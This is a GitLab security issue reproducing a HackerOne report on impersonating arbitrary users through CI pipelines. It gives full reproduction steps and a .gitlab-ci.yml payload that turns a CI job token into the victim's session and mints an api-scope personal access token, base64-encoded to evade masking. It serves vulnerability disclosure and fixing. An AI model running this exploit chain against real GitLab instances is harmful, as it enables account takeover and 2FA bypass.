Skip to content

An attacker can impersonate arbitrary user

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2724948 by yvvdwf on 2024-09-17, assigned to @ameyadarshan:

Report | Attachments | How To Reproduce

Report

Hi team,

Please find below a bypass of v17.3.2.

Gitlab recently released a patch to execute the environment stop actions as the owner of the environment. Although this patch can perfectly fix the exploitation I used in my previous report, but not this one. I found that this patch forces the environment owner to execute any stop stop actions even they are triggered by other user who clicks on "Stop" button. This fact can allow attacker to hijack arbitrary commands which will be executed by the environment owner.

Furthermore, as Gitlab still allows deleting source branch of a merge request by its author, thus it still can be exploited to execute CI job as arbitrary user.

Indeed, when a branch is deleted Gitlab will refresh any other merge requests which have the same source branch. Basically when a branch is deleted, its merge requests are automatically closed. However these are not successfully closed if user has no permission to do. In such a case, their CI jobs will be created.

###  {F3607928} https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/services/merge_requests/refresh_service.rb#L17-52  
 def refresh_merge_requests!  
      ...  
      # some merge requests, that are targetted other project in which user has no access, will not be closed  
      close_upon_missing_source_branch_ref  
      ...  
      merge_requests_for_source_branch.each do |mr|  
        ...  
        # we end up here to execute CI jobs  
        refresh_pipelines_on_merge_requests(mr)  
        ...  
      end  
      ...  
    end  

In the other hand, Gitlab recently strip out set-cookie header from dependency_proxy auth response. As this patch ignores the case //v2 which still allows to escalate from CI_JOB_TOKEN to HTTP session. Extracted this bypass to its own issue. See Bypass of #471954 (#494694 - closed).

Reproduce

As Gitlab.com currently disables the direct transfer feature, the following steps are to run in Gitlab self-management instances.

We will show that a normal user (attacker) can impersonate other user (victim). We cannot impersonate the user having root permission of a Gitlab instance, as this user can close any merge request.

To reproduce, we need 2 Gitlab instances:

  • The first Gitlab instance is the main instance.

    • Please ensure that this instance has at least one Gitlab runner
    • Suppose that this instance is accessible via http://gl.lo
    • Suppose that this instance contains 2 accounts, attacker and victim.
    • Suppose that username and ID of victim are VICTIM and VICTIM_ID respectively, we can obtain his email in the following form: VICTIM_ID-VICTIM@users.noreply.gl.lo (please replace VICTIM_ID, VICTIM and gl.lo by suitable values)
  • The second Gitlab instance is to create a dummy project which will be imported to the main one. This instance is fully controlled by the attacker (who is a normal user in the first instance) and is accessible via http://attacker.com. This instance should be in a server with a public IP though that the main Gitlab instance above can access to.

Step 0. Setup

This step is done in the both Gitlab instances to enable the direct transfer feature:

  • login this instance as root,
  • go to Admin Area:
    • go to Settings / General / Import and export settings, enable Allow migrating GitLab groups and projects by direct transfer, then click Save changes
Step 1. Prepare

This step is done in the Gitlab self-managed instance which is fully controlled by the attacker and is accessible via http://attacker.com

  • login this instance as root,
  • go to Admin Area / Overview / Users, then change Administrator's email to the victim's email, e.g., VICTIM_ID-VICTIM@users.noreply.gl.lo (please replace VICTIM_ID, VICTIM and gl.lo with its corresponding values)
  • go to Edit Profile to set this email as Public email
  • create a new group group-x, then add a new blank project, test, within a README:
    • modify README.md, commit it to a new branch a (this name is important, please do not use other), then create a merge request from a to main (please make sure Delete source branch when merge request is accepted. is checked)
  • go to Access Tokens, then create a new personal access YOUR_API_TOKEN token with api scope
Step 2. Attack

This step is done in the main instance http://gl.lo

  • click + / New group / Import group , then fill the form in Import groups by direct transfer section as below, then click Connect instance
    • GitLab source instance base URL is the url of the instance we created in Step 1
    • Personal access token is the token YOUR_API_TOKEN we created in Step 1
  • import group group-x
  • after importing successfully, you should see group-x/test project which has 1 merge requests created by VICTIM
  • note ID of group-x/test, e.g., PROJECT_ID
  • open branch main, click + / New file, then fill the form as below:
    • Filename: .gitlab-ci.yml
    • Content:
test:  
  image: ubuntu:20.04  
  variables:  
    GIT_STRATEGY: none  
  script:  
    - echo hello from $GITLAB_USER_LOGIN  
    - apt update && apt install -y curl jq coreutils  
    # obtain JWT token  
    - 'export TOKEN=$(curl -u gitlab-ci-token:$CI_JOB_TOKEN "$CI_SERVER_URL/jwt/auth?service=dependency_proxy" | jq --raw-output .token )'  
    # obtain _gitlab_session and store it in /tmp/cookie.txt  
    - 'curl -c /tmp/cookie.txt -H "Authorization: Bearer $TOKEN" $CI_SERVER_URL//v2'  
    # obtain CSRF token to perform a POST request  
    - 'export CSRF=$(curl -b /tmp/cookie.txt  $CI_SERVER_URL/-/user_settings/personal_access_tokens | grep csrf-token | cut -d \" -f 4)'  
    # create a personal token with api scop  
    - 'curl -b /tmp/cookie.txt -kv -H "X-Csrf-Token: $CSRF" -d "personal_access_token[name]=x&personal_access_token[expires_at]=2024-12-31&personal_access_token[scopes][]=api" $CI_SERVER_URL/-/user_settings/personal_access_tokens | tee /tmp/token.json'  
    # as token is masked in job trace, but can obtain via other format, such as, base64  
    - base64 /tmp/token.json  
  rules:  
    - if: $GITLAB_USER_LOGIN != "attacker" # please replace your attacker username here  
  • Target Branch b (this name is important, please do not use other)
  • Uncheck Start a new merge request with these changes
  • Click Commit change
  • go to Access Tokens, then create a new personal access token NEW_API_TOKEN with api scope

  • Open a terminal in an Ubuntu machine to execute the script in attached file attack.sh (this script is basically to recreate the source branch to avoid CI jobs being false. It also create few more merge requests to increase the processing time of refresh_service to give a moment to be recreating the source branch):

    • I need curl and jq, e.g., sudo apt update && sudo apt install -y curl jq coreutils
    • Run the script: bash ./attack.sh http://gl.lo NEW_API_TOKEN PROJECT_ID, please replace http://gl.lo, NEW_API_TOKEN and PROJECT_ID with appropriated values.
  • go back to Gitlab, open Merge requests of group-x/test project, click Merge button

  • after the merge request is merged, you should see pipelines which were triggered by victim

  • login as victim, you should see the token being created by attacker

Please find a demo video in attached file demo-5.mp4

Impact

An attacker can run pipeline jobs as an arbitrary. The attacker can escalate to impersonate victims even their 2FA are activate. Thus it can be also considered as a 2FA bypass.

Personal thoughts

  • As I mentioned early, the root cause is the fact that Gitlab deletes the source branch of a merge request by its author instead of by the person who merged the merge request. I think that, the source branch should be deleted by the latter because he is able to check/unckeck Delete source branch option when clicking on Merge button. merge-button.png

  • The recent release, v1.7.3.2, should not execute stop actions as the owner of the stop action jobs when some one clicks on Stop environment button. In such a case, the stop action jobs should be executed by the latter.

  • I see that, Gitlab already used skip_around_action :set_session_storage to exclude set-session header in any HTTP requests related to git. I think that, the same principle can be applied to the dependency proxy requests.

Impact

An attacker can run pipeline jobs as an arbitrary. The attacker can escalate to impersonate victims even their 2FA are activate. Thus it can be also considered as a 2FA bypass.

Attachments

Warning: Attachments received through HackerOne, please exercise caution!

How To Reproduce

Please add reproducibility information to this section:

Edited by Rohit Shambhuni